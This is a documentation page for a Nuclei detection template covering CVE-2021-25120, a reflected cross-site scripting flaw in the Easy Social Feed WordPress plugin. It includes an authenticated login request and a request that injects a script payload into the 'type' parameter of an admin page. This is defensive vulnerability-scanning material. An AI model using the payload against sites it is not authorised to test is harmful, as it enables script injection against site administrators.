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Easy Social Feed < 6.2.7 - Cross-Site Scripting

ID: CVE-2021-25120

Severity: medium

Author: dhiyaneshDk

Tags: cve2021,cve,wordpress,wp-plugin,xss,authenticated,wpscan,easysocialfeed

Description

Section titled “Description”

Easy Social Feed < 6.2.7 is susceptible to reflected cross-site scripting because the plugin does not sanitize and escape a parameter before outputting it back in an admin dashboard page, leading to it being executed in the context of a logged admin or editor.

YAML Source

Section titled “YAML Source”
id: CVE-2021-25120


info:
  name: Easy Social Feed < 6.2.7 - Cross-Site Scripting
  author: dhiyaneshDk
  severity: medium
  description: Easy Social Feed < 6.2.7 is susceptible to reflected cross-site scripting because the plugin does not sanitize and escape a parameter before outputting it back in an admin dashboard page, leading to it being executed in the context of a logged admin or editor.
  remediation: |
    Update to Easy Social Feed version 6.2.7 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/6dd00198-ef9b-4913-9494-e08a95e7f9a0
    - https://wpscan.com/vulnerability/0ad020b5-0d16-4521-8ea7-39cd206ab9f6
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25120
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25120
    cwe-id: CWE-79
    epss-score: 0.00106
    epss-percentile: 0.43227
    cpe: cpe:2.3:a:easysocialfeed:easy_social_feed:*:*:*:*:pro:wordpress:*:*
  metadata:
    max-request: 2
    vendor: easysocialfeed
    product: easy_social_feed
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,xss,authenticated,wpscan,easysocialfeed


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check


        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=easy-facebook-likebox&access_token=a&type=</script><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'type' : '</script><script>alert(document.domain)</script>'"


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4a0a004730450220464bf9451075cd001ebc69086bf0e00ff281ca81aafd6f80661d659af1708faf022100a6a3703e766408176ca144f58807b069029f0d7b261eecbddb380f88e75e3850:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-25120.yaml"

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